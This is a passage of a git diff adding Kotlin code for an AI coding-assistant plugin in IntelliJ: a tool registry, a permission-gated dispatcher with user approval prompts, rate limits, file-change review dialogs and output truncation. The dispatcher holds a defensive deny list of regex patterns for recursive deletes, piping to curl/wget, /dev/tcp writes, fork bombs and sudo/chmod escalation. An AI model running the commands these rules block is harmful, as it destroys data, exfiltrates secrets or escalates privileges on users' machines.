kotlinx.serialization.serializer(), s ) + + /** Convert to unified ToolResult for the new tool system. */ + fun toToolResult(): ToolResult = when (this) { + is Success -> ToolResult(ok = true, output = buildString { + if (stdout.isNotEmpty()) append(stdout) + if (stderr.isNotEmpty()) { + if (isNotEmpty()) append("\n") + append(stderr) + } + }.ifEmpty { "Command completed with exit code $exitCode" }) + is Failed -> ToolResult(ok = false, output = stderr.ifEmpty { "Command failed with exit code $exitCode" }) + is Blocked -> ToolResult(ok = false, output = reason) + is Denied -> ToolResult(ok = false, output = reason) + is TimedOut -> ToolResult(ok = false, output = "Command timed out after ${timeoutSeconds}s") + } } diff --git a/src/main/kotlin/com/github/codeplangui/execution/FileChangeReview.kt b/src/main/kotlin/com/github/codeplangui/execution/FileChangeReview.kt new file mode 100644 index 0000000..273f6b9 --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/FileChangeReview.kt @@ -0,0 +1,127 @@ +package com.github.codeplangui.execution + +import com.github.codeplangui.settings.SettingsState +import com.intellij.openapi.application.ApplicationManager +import com.intellij.openapi.project.Project +import com.intellij.openapi.ui.Messages +import java.util.concurrent.CompletableFuture +import java.util.concurrent.TimeUnit + +/** + * Manages file change review via IDE-native dialogs. + * Supports session-level trust mode to reduce approval fatigue. + */ +class FileChangeReview { + + @Volatile + var sessionFileWriteTrusted: Boolean = false + private set + + fun resetSessionTrust() { + sessionFileWriteTrusted = false + } + + fun setSessionTrusted() { + sessionFileWriteTrusted = true + } + + /** + * Review a file modification. Returns true if the change is approved. + * In trust mode, skips the dialog and returns true directly. + * + * First version: uses simple Yes/No confirmation dialog. + * Future: IntelliJ DiffDialog integration. + */ + fun reviewFileChange( + project: Project, + path: String, + oldContent: String, + newContent: String, + settings: SettingsState + ): Boolean { + if (sessionFileWriteTrusted) return true + + val future = CompletableFuture() + + ApplicationManager.getApplication().invokeAndWait { + // Compute simple diff stats + val oldLines = oldContent.lines().size + val newLines = newContent.lines().size + val added = (newLines - oldLines).coerceAtLeast(0) + val removed = (oldLines - newLines).coerceAtLeast(0) + + val message = buildString { + appendLine("Apply changes to $path?") + appendLine() + appendLine("Lines: +$added / -$removed (was $oldLines, now $newLines)") + appendLine() + // Show first few changed lines as preview + val oldSet = oldContent.lines().toSet() + val newLinesList = newContent.lines() + val changed = newLinesList.filter { it !in oldSet }.take(5) + if (changed.isNotEmpty()) { + appendLine("--- New/changed lines (preview) ---") + changed.forEach { appendLine(it) } + } + } + + val result = Messages.showYesNoDialog( + project, + message, + "File Change Review: $path", + Messages.getQuestionIcon() + ) + future.complete(result == Messages.YES) + } + + return future.get(60, TimeUnit.SECONDS) + } + + /** + * Review a new file creation. Returns true if creation is approved. + * In trust mode, skips the dialog and returns true directly. + */ + fun reviewNewFile( + project: Project, + path: String, + content: String, + settings: SettingsState + ): Boolean { + if (sessionFileWriteTrusted) return true + + val future = CompletableFuture() + + ApplicationManager.getApplication().invokeAndWait { + val lineCount = content.lines().size + val sizeBytes = content.toByteArray().size + + val message = buildString { + appendLine("Create new file?") + appendLine() + appendLine("Path: $path") + appendLine("Size: ${formatSize(sizeBytes)} / $lineCount lines") + appendLine() + appendLine("--- Preview (first 20 lines) ---") + content.lines().take(20).forEach { appendLine(it) } + if (lineCount > 20) appendLine("... ($lineCount lines total)") + } + + val result = Messages.showOkCancelDialog( + project, + message, + "Create New File", + "Create", "Cancel", + Messages.getQuestionIcon() + ) + future.complete(result == Messages.OK) + } + + return future.get(60, TimeUnit.SECONDS) + } + + private fun formatSize(bytes: Int): String = when { + bytes < 1024 -> "$bytes B" + bytes < 1024 * 1024 -> "${bytes / 1024} KB" + else -> "${bytes / (1024 * 1024)} MB" + } +} diff --git a/src/main/kotlin/com/github/codeplangui/execution/FileWriteLock.kt b/src/main/kotlin/com/github/codeplangui/execution/FileWriteLock.kt new file mode 100644 index 0000000..37cb375 --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/FileWriteLock.kt @@ -0,0 +1,27 @@ +package com.github.codeplangui.execution + +import java.util.concurrent.ConcurrentHashMap +import kotlinx.coroutines.sync.Mutex +import kotlinx.coroutines.sync.withLock + +/** + * File-level write lock for serializing concurrent writes to the same file. + * Prevents data races when multiple tool calls target the same path. + */ +class FileWriteLock { + private val locks = ConcurrentHashMap() + + suspend fun withFileLock(path: String, block: suspend () -> T): T { + val mutex = locks.computeIfAbsent(path) { Mutex() } + return mutex.withLock { + block() + } + // Do NOT remove mutex from map after release — another coroutine + // may be waiting, and removal + computeIfAbsent creates a new Mutex, + // breaking serialization semantics. + } + + fun clear() { + locks.clear() + } +} diff --git a/src/main/kotlin/com/github/codeplangui/execution/InlineChangeHighlighter.kt b/src/main/kotlin/com/github/codeplangui/execution/InlineChangeHighlighter.kt new file mode 100644 index 0000000..88fa2d9 --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/InlineChangeHighlighter.kt @@ -0,0 +1,34 @@ +package com.github.codeplangui.execution + +import com.intellij.openapi.diagnostic.Logger +import com.intellij.openapi.editor.Document +import com.intellij.openapi.editor.Editor +import com.intellij.openapi.editor.event.DocumentEvent +import com.intellij.openapi.editor.event.DocumentListener +import com.intellij.openapi.fileEditor.FileDocumentManager +import com.intellij.openapi.fileEditor.FileEditorManager +import com.intellij.openapi.project.Project +import com.intellij.openapi.vfs.VirtualFile + +/** + * Tracks inline change highlights for trusted file modifications. + * In the first version, this relies on IntelliJ's built-in VCS change highlighting + * (line markers + gutter colors), which works automatically when files are modified. + * + * Future iterations can add custom highlighting for AI-specific changes. + */ +class InlineChangeHighlighter(private val project: Project) { + + private val logger = Logger.getInstance(InlineChangeHighlighter::class.java) + + /** + * Notifies the highlighter that a file was changed by a tool. + * For now, this is a no-op — IntelliJ's built-in VCS integration + * handles gutter change markers automatically. + */ + fun onFileChanged(virtualFile: VirtualFile) { + // IntelliJ's built-in line-level change tracking (changelist-based) + // already provides gutter markers for modified files. + // No custom highlighting needed in v1. + } +} diff --git a/src/main/kotlin/com/github/codeplangui/execution/PermissionMode.kt b/src/main/kotlin/com/github/codeplangui/execution/PermissionMode.kt new file mode 100644 index 0000000..0327626 --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/PermissionMode.kt @@ -0,0 +1,17 @@ +package com.github.codeplangui.execution + +/** + * Permission levels for tool execution. Ordered: READ_ONLY < WORKSPACE_WRITE < DANGER_FULL_ACCESS. + */ +enum class PermissionMode(val level: Int) { + READ_ONLY(0), + WORKSPACE_WRITE(1), + DANGER_FULL_ACCESS(2); + + fun gte(other: PermissionMode): Boolean = this.level >= other.level + + companion object { + fun fromString(value: String?): PermissionMode = + values().find { it.name.equals(value, ignoreCase = true) } ?: WORKSPACE_WRITE + } +} diff --git a/src/main/kotlin/com/github/codeplangui/execution/PostEditPipeline.kt b/src/main/kotlin/com/github/codeplangui/execution/PostEditPipeline.kt new file mode 100644 index 0000000..800ea7d --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/PostEditPipeline.kt @@ -0,0 +1,35 @@ +package com.github.codeplangui.execution + +import com.intellij.openapi.diagnostic.Logger +import com.intellij.openapi.project.Project +import com.intellij.openapi.vfs.VirtualFile + +/** + * Post-edit quality pipeline: optimize imports → reformat → inspection. + * Runs after file write operations to maintain code quality. + * + * First version: no-op stub. IntelliJ's built-in real-time inspections + * handle code quality feedback automatically. Future iterations can add + * programmatic optimize-imports/reformat/inspection here. + */ +class PostEditPipeline(private val project: Project) { + + private val logger = Logger.getInstance(PostEditPipeline::class.java) + + data class InspectionResult( + val errors: List, + val warnings: List, + val info: List + ) + + data class Finding(val line: Int, val severity: String, val message: String) + + /** + * Best-effort post-write pipeline. Returns inspection feedback if available. + */ + fun runAfterWriteSync(virtualFile: VirtualFile): String? { + // First version: rely on IntelliJ's built-in real-time inspections. + // Future: add optimizeImports + reformat + programmatic inspection. + return null + } +} diff --git a/src/main/kotlin/com/github/codeplangui/execution/ToolCallDispatcher.kt b/src/main/kotlin/com/github/codeplangui/execution/ToolCallDispatcher.kt new file mode 100644 index 0000000..03382b8 --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/ToolCallDispatcher.kt @@ -0,0 +1,490 @@ +package com.github.codeplangui.execution + +import com.github.codeplangui.BridgeHandler +import com.github.codeplangui.execution.executors.BashExecutor +import com.github.codeplangui.settings.PluginSettings +import com.intellij.openapi.diagnostic.Logger +import kotlinx.coroutines.CancellableContinuation +import kotlinx.coroutines.CoroutineScope +import kotlinx.coroutines.Dispatchers +import kotlinx.coroutines.SupervisorJob +import kotlinx.coroutines.async +import kotlinx.coroutines.awaitAll +import kotlinx.coroutines.cancel +import kotlinx.coroutines.coroutineScope +import kotlinx.coroutines.suspendCancellableCoroutine +import kotlinx.coroutines.withTimeout +import kotlinx.serialization.json.Json +import kotlinx.serialization.json.JsonObject +import kotlinx.serialization.json.contentOrNull +import kotlinx.serialization.json.jsonObject +import kotlinx.serialization.json.jsonPrimitive +import java.io.File +import java.util.UUID +import java.util.concurrent.ConcurrentHashMap +import kotlin.coroutines.resume +import kotlin.coroutines.resumeWithException +import kotlin.math.min + +/** + * Unified tool dispatcher. Owns the complete dispatch pipeline: + * lookup → parse → dynamic permission → deny_rules → allow_rules → + * session mode → approval → execution → output truncation. + */ +class ToolCallDispatcher( + private val registry: ToolRegistry, + private val fileChangeReview: FileChangeReview, + private val fileWriteLock: FileWriteLock, + private val project: com.intellij.openapi.project.Project +) { + private val logger = Logger.getInstance(ToolCallDispatcher::class.java) + private val scope = CoroutineScope(Dispatchers.IO + SupervisorJob()) + + // Approval suspension + private val pendingApprovals = ConcurrentHashMap>() + + // Hooks + private val hooks = mutableListOf() + + // Rate limiting + private var roundToolCallCount = 0 + private val consecutiveCalls = mutableMapOf() + + companion object { + const val MAX_TOOL_OUTPUT_BYTES = 50 * 1024 // 50KB + const val MAX_TOOL_CALLS_PER_ROUND = 20 + const val MAX_TOOL_CALLS_PER_RESPONSE = 10 + const val CONSECUTIVE_CALL_WARNING = 5 + const val APPROVAL_TIMEOUT_MS = 60_000L + } + + fun addHook(hook: ToolHook) { + hooks.add(hook) + } + + /** Build the tools parameter for API requests. */ + fun buildToolsParam(): List { + return registry.buildOpenAiTools() + } + + /** Reset per-session state (new chat). */ + fun resetSession() { + fileChangeReview.resetSessionTrust() + roundToolCallCount = 0 + consecutiveCalls.clear() + cancelAllPendingApprovals() + } + + /** Reset per-round state. */ + fun resetRound() { + roundToolCallCount = 0 + } + + /** Called by Bridge when user responds to an approval request. */ + fun onApprovalResponse(requestId: String, decision: String) { + val cont = pendingApprovals.remove(requestId) ?: return + val approved = decision == "allow" + if (approved) { + cont.resume(true) + } else { + cont.resume(false) + } + } + + /** + * Dispatch a single tool call through the full pipeline. + */ + suspend fun dispatch( + toolName: String, + argsJson: String, + msgId: String, + bridgeHandler: BridgeHandler? + ): ToolResult { + return try { + dispatchInternal(toolName, argsJson, msgId, bridgeHandler) + } catch (e: Exception) { + ToolResult(ok = false, output = "Tool execution error: ${e.message}") + } + } + + /** + * Dispatch multiple tool calls with concurrent scheduling. + * Results are returned in original order. + */ + suspend fun dispatchAll( + calls: List, + msgId: String, + bridgeHandler: BridgeHandler? + ): List> { + // Rate limit check + if (calls.size > MAX_TOOL_CALLS_PER_RESPONSE) { + return calls.map { call -> + call to ToolResult( + ok = false, + output = "Too many tool calls in a single response (${calls.size} > $MAX_TOOL_CALLS_PER_RESPONSE)" + ) + } + } + + // Partition into batches + val batches = partitionToolCalls(calls) + + // Execute batches sequentially + val results = arrayOfNulls>(calls.size) + + for (batch in batches) { + if (batch.isConcurrencySafe && batch.entries.size > 1) { + // Concurrent batch + val hasBashError = java.util.concurrent.atomic.AtomicBoolean(false) + val batchResults = coroutineScope { + batch.entries.map { (index, call) -> + async { + if (hasBashError.get() && isBashCommand(call.name)) { + index to (call to ToolResult( + ok = false, + output = "Skipped: previous bash command in batch failed" + )) + } else { + val result = dispatch(call.name, call.arguments, msgId, bridgeHandler) + if (!result.ok && isBashCommand(call.name)) { + hasBashError.set(true) + } + index to (call to result) + } + } + }.awaitAll() + } + for ((index, result) in batchResults) { + results[index] = result + } + } else { + // Serial batch + for ((index, call) in batch.entries) { + results[index] = call to dispatch(call.name, call.arguments, msgId, bridgeHandler) + } + } + } + + return results.map { it!! } + } + + private suspend fun dispatchInternal( + toolName: String, + argsJson: String, + msgId: String, + bridgeHandler: BridgeHandler? + ): ToolResult { + // Rate limit check + roundToolCallCount++ + if (roundToolCallCount > MAX_TOOL_CALLS_PER_ROUND) { + return ToolResult(ok = false, output = "Round tool call limit exceeded ($roundToolCallCount > $MAX_TOOL_CALLS_PER_ROUND)") + } + + // Consecutive call warning + val count = consecutiveCalls.getOrDefault(toolName, 0) + 1 + consecutiveCalls[toolName] = count + + // 1. Build context + val settings = PluginSettings.getInstance().getState() + val project = (registry as? ToolRegistry)?.let { + // Get project from registry — we need it from context + null // Will be resolved from ToolContext construction in dispatch + } + + // 2. Parse arguments + val input: JsonObject = try { + Json.parseToJsonElement(argsJson).jsonObject + } catch (_: Exception) { + return ToolResult(ok = false, output = "Invalid arguments: not valid JSON") + } + + // 3. Find tool + val spec = registry.find(toolName) + ?: return ToolResult(ok = false, output = "Unknown tool: $toolName") + + // 4. Build summary and emit tool_step_start + val stepRequestId = UUID.randomUUID().toString() + val summary = buildTargetSummary(toolName, input) + bridgeHandler?.notifyToolStepStart(msgId, stepRequestId, toolName, summary) + + // 5. Dynamic permission resolution + val requiredPermission = resolvePermission(spec, input) + + // 6. Authorization + val authDecision = authorize(toolName, input, requiredPermission, settings) + when (authDecision) { + is AuthDecision.Deny -> { + bridgeHandler?.notifyToolStepEnd(msgId, stepRequestId, false, authDecision.reason, 0L) + return ToolResult(ok = false, output = authDecision.reason) + } + is AuthDecision.Ask -> { + val requestId = UUID.randomUUID().toString() + val toolInput = if (toolName == "run_command" || toolName == "run_powershell") { + input["command"]?.jsonPrimitive?.contentOrNull ?: argsJson + } else { + argsJson.take(200) + } + val description = input["description"]?.jsonPrimitive?.contentOrNull ?: "" + + bridgeHandler?.notifyApprovalRequest( + requestId = requestId, + command = toolInput, + description = description + ) + + val approved = awaitApproval(requestId) + if (!approved) { + bridgeHandler?.notifyToolStepEnd(msgId, stepRequestId, false, "User denied permission for $toolName", 0L) + return ToolResult(ok = false, output = "User denied permission for $toolName") + } + } + is AuthDecision.Allow -> { /* proceed */ } + } + + // 7. Pre-Hooks + var intercepted: ToolResult? = null + for (hook in hooks) { + try { + val result = hook.beforeExecute(toolName, input) + if (result != null) { + intercepted = result + break // Short-circuit + } + } catch (e: Exception) { + logger.warn("Pre-Hook threw exception for $toolName", e) + } + } + + // 8. Execute (if not intercepted) with timing + val startTime = System.currentTimeMillis() + val finalResult = intercepted ?: runWithFileLock(spec, input, toolName) + val durationMs = System.currentTimeMillis() - startTime + + // 9. Output truncation + val truncatedResult = truncateOutput(finalResult, msgId) + + // 10. Emit tool_step_end + val diffStats = extractDiffStats(toolName, input, truncatedResult) + bridgeHandler?.notifyToolStepEnd( + msgId, stepRequestId, truncatedResult.ok, truncatedResult.output, durationMs, diffStats + ) + + // 11. Post-Hooks + for (hook in hooks) { + try { + hook.afterExecute(toolName, input, truncatedResult) + } catch (e: Exception) { + logger.warn("Post-Hook threw exception for $toolName", e) + } + } + + return truncatedResult + } + + private fun buildTargetSummary(toolName: String, input: JsonObject): String { + return when (toolName) { + "read_file" -> input["path"]?.jsonPrimitive?.contentOrNull ?: toolName + "list_files" -> input["path"]?.jsonPrimitive?.contentOrNull ?: "." + "grep_files" -> "\"${input["pattern"]?.jsonPrimitive?.contentOrNull ?: ""}\"" + "edit_file" -> input["path"]?.jsonPrimitive?.contentOrNull ?: toolName + "write_file" -> input["path"]?.jsonPrimitive?.contentOrNull ?: toolName + "run_command", "run_powershell" -> { + val cmd = input["command"]?.jsonPrimitive?.contentOrNull ?: toolName + if (cmd.length > 60) cmd.take(57) + "..." else cmd + } + else -> toolName + } + } + + private fun extractDiffStats(toolName: String, input: JsonObject, result: ToolResult): String? { + if (toolName != "edit_file" && toolName != "write_file") return null + // Extract diff stats from result output if available + // For now, return null — will be populated when PostEditPipeline is integrated + return null + } + + private fun resolvePermission(spec: ToolSpec, input: JsonObject): PermissionMode { + // Bash commands use dynamic classification + if (spec.name == "run_command" || spec.name == "run_powershell") { + val command = input["command"]?.jsonPrimitive?.contentOrNull ?: return PermissionMode.DANGER_FULL_ACCESS + return BashExecutor().classifyPermission(command) + } + return spec.requiredPermission + } + + private fun authorize( + toolName: String, + input: JsonObject, + requiredPermission: PermissionMode, + settings: com.github.codeplangui.settings.SettingsState + ): AuthDecision { + val sessionMode = PermissionMode.fromString(settings.permissionMode) + + // deny_rules check for bash commands + if (toolName == "run_command" || toolName == "run_powershell") { + val command = input["command"]?.jsonPrimitive?.contentOrNull ?: return AuthDecision.Deny("Missing command") + val bashExecutor = BashExecutor() + + // Check deny rules via executor (already done in execute, but check here for pre-execution denial) + val denied = checkDenyRulesEarly(command) + if (denied != null) return AuthDecision.Deny(denied) + + // Whitelist check + if (CommandExecutionService.isWhitelisted(command, settings.commandWhitelist)) { + if (sessionMode >= requiredPermission) return AuthDecision.Allow + } + } + + // Path traversal check for file tools + val path = input["path"]?.jsonPrimitive?.contentOrNull + if (path != null && (path.contains("../") || path.contains("..\\"))) { + return AuthDecision.Deny("Path traversal detected") + } + + // Session mode check + if (sessionMode >= requiredPermission) { + return AuthDecision.Allow + } + + // Trusted file write + if ((toolName == "edit_file" || toolName == "write_file") && fileChangeReview.sessionFileWriteTrusted) { + return AuthDecision.Allow + } + + // Fallback: ask + return AuthDecision.Ask + } + + private fun checkDenyRulesEarly(command: String): String? { + val cmd = command.lowercase() + // Path traversal (case-insensitive, handle URL encoding) + if (cmd.contains("../") || cmd.contains("..\\") || + cmd.contains("..%2f") || cmd.contains("..%5c")) return "Path traversal detected" + // Dangerous delete + if (Regex("""rm\s+(-\w*\s*)*(-r|--recursive).*\s+(/|~)""", RegexOption.IGNORE_CASE).containsMatchIn(cmd)) + return "Dangerous delete command detected" + // Network exfiltration + if (Regex("""(\|\s*(curl|wget)\s)|(>\s*/dev/tcp/)""", RegexOption.IGNORE_CASE).containsMatchIn(cmd)) + return "Potential network exfiltration detected" + // Fork bomb + if (Regex(""":\(\)\{.*:\|:&\}|fork\s*bomb""", RegexOption.IGNORE_CASE).containsMatchIn(cmd)) + return "Fork bomb pattern detected" + // Privilege escalation + if (Regex("""sudo\s+|chmod\s+[0-7]*77|chown\s+""", RegexOption.IGNORE_CASE).containsMatchIn(cmd)) + return "Privilege escalation detected" + return null + } + + private suspend fun runWithFileLock(spec: ToolSpec, input: JsonObject, toolName: String): ToolResult { + val settings = PluginSettings.getInstance().getState() + val project = resolveProject() + val cwd = project?.basePath ?: return ToolResult(ok = false, output = "Project path unavailable") + val context = ToolContext(project = project, cwd = cwd, settings = settings) + + val needsLock = !spec.isConcurrencySafe(input) + return if (needsLock) { + val path = input["path"]?.jsonPrimitive?.contentOrNull ?: toolName + fileWriteLock.withFileLock(path) { + spec.executor.execute(input, context) + } + } else { + spec.executor.execute(input, context) + } + } + + private suspend fun awaitApproval(requestId: String): Boolean { + return try { + withTimeout(APPROVAL_TIMEOUT_MS) { + suspendCancellableCoroutine { cont -> + pendingApprovals[requestId] = cont + cont.invokeOnCancellation { + pendingApprovals.remove(requestId) + } + } + } + } catch (_: kotlinx.coroutines.TimeoutCancellationException) { + pendingApprovals.remove(requestId) + false + } + } + + private fun cancelAllPendingApprovals() { + pendingApprovals.forEach { (_, cont) -> + try { cont.cancel() } catch (_: Exception) {} + } + pendingApprovals.clear() + } + + private fun truncateOutput(result: ToolResult, msgId: String): ToolResult { + if (result.output.toByteArray().size <= MAX_TOOL_OUTPUT_BYTES) return result + + val totalBytes = result.output.toByteArray().size + val truncatedOutput = String( + result.output.toByteArray(), + 0, + min(MAX_TOOL_OUTPUT_BYTES, result.output.toByteArray().size) + ) + + // Write full output to temp file + val tmpDir = File(System.getProperty("java.io.tmpdir"), "codeplan-tool-output") + tmpDir.mkdirs() + val tmpFile = File(tmpDir, "tool-output-$msgId-${System.currentTimeMillis()}.log") + tmpFile.writeText(result.output) + + return result.copy( + output = truncatedOutput + + "\n\n... [OUTPUT TRUNCATED: $totalBytes bytes total, showing first 50KB]", + truncated = true, + totalBytes = totalBytes, + outputPath = tmpFile.absolutePath + ) + } + + private fun partitionToolCalls(calls: List): List { + val result = mutableListOf() + for ((index, call) in calls.withIndex()) { + val spec = registry.find(call.name) + val input = try { + Json.parseToJsonElement(call.arguments).jsonObject + } catch (_: Exception) { + null + } + val safe = spec?.let { s -> input?.let { i -> s.isConcurrencySafe(i) } } ?: false + + if (safe && result.isNotEmpty() && result.last().isConcurrencySafe) { + val last = result.last() + result[result.lastIndex] = last.copy( + entries = last.entries + IndexedValue(index, call) + ) + } else { + result.add(Batch(safe, listOf(IndexedValue(index, call)))) + } + } + return result + } + + private fun isBashCommand(name: String): Boolean = + name == "run_command" || name == "run_powershell" + + private fun resolveProject(): com.intellij.openapi.project.Project = project +} + +// Helper types + +data class PendingToolCall( + val id: String, + val name: String, + val arguments: String, + val index: Int +) + +data class Batch( + val isConcurrencySafe: Boolean, + val entries: List> +) + +sealed class AuthDecision { + data object Allow : AuthDecision() + data class Deny(val reason: String) : AuthDecision() + data object Ask : AuthDecision() +} diff --git a/src/main/kotlin/com/github/codeplangui/execution/ToolContext.kt b/src/main/kotlin/com/github/codeplangui/execution/ToolContext.kt new file mode 100644 index 0000000..2ae534f --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/ToolContext.kt @@ -0,0 +1,13 @@ +package com.github.codeplangui.execution + +import com.github.codeplangui.settings.SettingsState +import com.intellij.openapi.project.Project + +/** + * Execution context passed to every tool executor. + */ +data class ToolContext( + val project: Project, + val cwd: String, + val settings: SettingsState +) diff --git a/src/main/kotlin/com/github/codeplangui/execution/ToolExecutor.kt b/src/main/kotlin/com/github/codeplangui/execution/ToolExecutor.kt new file mode 100644 index 0000000..694d7d0 --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/ToolExecutor.kt @@ -0,0 +1,12 @@ +package com.github.codeplangui.execution + +import kotlinx.serialization.json.JsonObject + +/** + * Interface that every tool executor implements. + * Implementations must NOT throw — return ToolResult(ok=false) on error. + * All IO operations must run on Dispatchers.IO. + */ +interface ToolExecutor { + suspend fun execute(input: JsonObject, context: ToolContext): ToolResult +} diff --git a/src/main/kotlin/com/github/codeplangui/execution/ToolHook.kt b/src/main/kotlin/com/github/codeplangui/execution/ToolHook.kt new file mode 100644 index 0000000..4d6c4b6 --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/ToolHook.kt @@ -0,0 +1,25 @@ +package com.github.codeplangui.execution + +import kotlinx.serialization.json.JsonObject + +/** + * Hook extension point for cross-cutting concerns around tool execution. + * Registered in ToolCallDispatcher via addHook(). + * + * Pre-Hooks use short-circuit semantics: the first non-null return stops the chain. + * Post-Hooks always all execute, even on failure or interception. + */ +interface ToolHook { + /** + * Called before tool execution. + * Return null → continue execution. + * Return ToolResult → intercept, skip executor, return this result. + */ + suspend fun beforeExecute(toolName: String, input: JsonObject): ToolResult? = null + + /** + * Called after tool execution (success, failure, or interception). + * For logging, metrics, result enrichment. + */ + suspend fun afterExecute(toolName: String, input: JsonObject, result: ToolResult) {} +} diff --git a/src/main/kotlin/com/github/codeplangui/execution/ToolRegistry.kt b/src/main/kotlin/com/github/codeplangui/execution/ToolRegistry.kt new file mode 100644 index 0000000..2b2f7c1 --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/ToolRegistry.kt @@ -0,0 +1,79 @@ +package com.github.codeplangui.execution + +import com.github.codeplangui.api.FunctionDefinition +import com.github.codeplangui.api.ToolDefinition +import com.intellij.openapi.Disposable +import com.intellij.openapi.diagnostic.Logger +import com.intellij.openapi.util.Disposer +import kotlinx.serialization.json.JsonObject + +/** + * Central registry for all tools (built-in + MCP). + * Bound to IntelliJ Project lifecycle via Disposable. + */ +class ToolRegistry(private val parentDisposable: com.intellij.openapi.Disposable) : Disposable { + + private val logger = Logger.getInstance(ToolRegistry::class.java) + + private val tools = mutableMapOf() + private val disposers = mutableListOf<() -> Unit>() + + init { + Disposer.register(parentDisposable, this) + } + + /** List all registered tools. */ + fun list(): List = tools.values.toList() + + /** Find a tool by name. */ + fun find(name: String): ToolSpec? = tools[name] + + /** Register tools. Skips duplicates (same name) silently. */ + fun addTools(specs: List) { + for (spec in specs) { + if (tools.containsKey(spec.name)) { + logger.info("Tool '${spec.name}' already registered, skipping") + continue + } + tools[spec.name] = spec + logger.info("Registered tool: ${spec.name}") + } + } + + /** Remove a tool by name (for MCP server disconnect). */ + fun removeTool(name: String) { + tools.remove(name) + logger.info("Removed tool: $name") + } + + /** Register a cleanup function (called in reverse order on dispose). */ + fun addDisposer(fn: () -> Unit) { + disposers.add(fn) + } + + /** Build OpenAI API tools parameter from all registered tools. */ + fun buildOpenAiTools(): List { + return tools.values.map { spec -> + ToolDefinition( + type = "function", + function = FunctionDefinition( + name = spec.name, + description = spec.description, + parameters = spec.inputSchema + ) + ) + } + } + + override fun dispose() { + disposers.reversed().forEach { fn -> + try { + fn() + } catch (e: Exception) { + logger.warn("Disposer threw exception", e) + } + } + disposers.clear() + tools.clear() + } +} diff --git a/src/main/kotlin/com/github/codeplangui/execution/ToolResult.kt b/src/main/kotlin/com/github/codeplangui/execution/ToolResult.kt new file mode 100644 index 0000000..d43bd0d --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/ToolResult.kt @@ -0,0 +1,29 @@ +package com.github.codeplangui.execution + +import kotlinx.serialization.Serializable + +/** + * Unified result type for all tools (built-in and MCP). + * Every tool returns this, never throws. + */ +data class ToolResult( + val ok: Boolean, + val output: String, + val awaitUser: Boolean = false, + val backgroundTask: BackgroundTask? = null, + val truncated: Boolean = false, + val totalBytes: Int? = null, + val outputPath: String? = null +) + +@Serializable +data class BackgroundTask( + val id: String, + val command: String, + val status: BackgroundTaskStatus +) + +@Serializable +enum class BackgroundTaskStatus { + PENDING, RUNNING, COMPLETED, FAILED, CANCELLED +} diff --git a/src/main/kotlin/com/github/codeplangui/execution/ToolSpec.kt b/src/main/kotlin/com/github/codeplangui/execution/ToolSpec.kt new file mode 100644 index 0000000..004f49b --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/ToolSpec.kt @@ -0,0 +1,21 @@ +package com.github.codeplangui.execution + +import kotlinx.serialization.json.JsonObject + +/** + * Tool registration info. Each registered tool has one ToolSpec. + * + * Dynamic capabilities (isConcurrencySafe, isReadOnly, isDestructive) accept + * the parsed input and return a boolean — e.g. run_command decides based on + * the concrete command, while read_file always returns true. + */ +data class ToolSpec( + val name: String, + val description: String, + val inputSchema: JsonObject, + val requiredPermission: PermissionMode, + val executor: ToolExecutor, + val isConcurrencySafe: (input: JsonObject) -> Boolean = { false }, + val isReadOnly: (input: JsonObject) -> Boolean = { false }, + val isDestructive: (input: JsonObject) -> Boolean = { false } +) diff --git a/src/main/kotlin/com/github/codeplangui/execution/ToolSpecs.kt b/src/main/kotlin/com/github/codeplangui/execution/ToolSpecs.kt new file mode 100644 index 0000000..0408a0f --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/ToolSpecs.kt @@ -0,0 +1,226 @@ +package com.github.codeplangui.execution + +import com.github.codeplangui.execution.executors.* +import kotlinx.serialization.json.buildJsonArray +import kotlinx.serialization.json.buildJsonObject +import kotlinx.serialization.json.jsonPrimitive +import kotlinx.serialization.json.put +import kotlinx.serialization.json.JsonObject + +/** + * ToolSpec definitions for all 6 built-in tools. + * The bashExecutor is shared for dynamic permission classification. + */ +class ToolSpecs { + + private val bashExecutor = BashExecutor() + private val fileChangeReview = FileChangeReview() + + val readFileExecutor = ReadFileExecutor() + val listFilesExecutor = ListFilesExecutor() + val grepFilesExecutor = GrepFilesExecutor() + val editFileExecutor = EditFileExecutor(fileChangeReview) + val writeFileExecutor = WriteFileExecutor(fileChangeReview) + + fun allSpecs(): List = listOf( + runCommandSpec(), + readFileSpec(), + listFilesSpec(), + grepFilesSpec(), + editFileSpec(), + writeFileSpec() + ) + + fun runCommandSpec(): ToolSpec { + val toolName = com.github.codeplangui.execution.ShellPlatform.current().toolName() + return ToolSpec( + name = toolName, + description = "Execute a shell command in the project root directory. " + + "Only use when the user asks you to run something or when you need to " + + "inspect state to answer accurately.", + inputSchema = buildJsonObject { + put("type", "object") + put("properties", buildJsonObject { + put("command", buildJsonObject { + put("type", "string") + put("description", "The shell command to execute") + }) + put("description", buildJsonObject { + put("type", "string") + put("description", "One-line explanation of why you are running this command") + }) + }) + put("required", buildJsonArray { + add(kotlinx.serialization.json.JsonPrimitive("command")) + add(kotlinx.serialization.json.JsonPrimitive("description")) + }) + }, + requiredPermission = PermissionMode.READ_ONLY, // Dynamic — overridden in dispatch + executor = bashExecutor, + isConcurrencySafe = { input -> + input["command"]?.let { cmd -> + bashExecutor.isConcurrencySafe(cmd.jsonPrimitive.content) + } ?: false + }, + isReadOnly = { input -> + input["command"]?.let { cmd -> + bashExecutor.isReadOnly(cmd.jsonPrimitive.content) + } ?: false + }, + isDestructive = { input -> + input["command"]?.let { cmd -> + bashExecutor.isDestructive(cmd.jsonPrimitive.content) + } ?: false + } + ) + } + + fun readFileSpec() = ToolSpec( + name = "read_file", + description = "Read file contents. Supports line-based pagination. " + + "Returns content with line numbers. Use line_number and limit for pagination.", + inputSchema = buildJsonObject { + put("type", "object") + put("properties", buildJsonObject { + put("path", buildJsonObject { + put("type", "string") + put("description", "Path relative to project root") + }) + put("line_number", buildJsonObject { + put("type", "integer") + 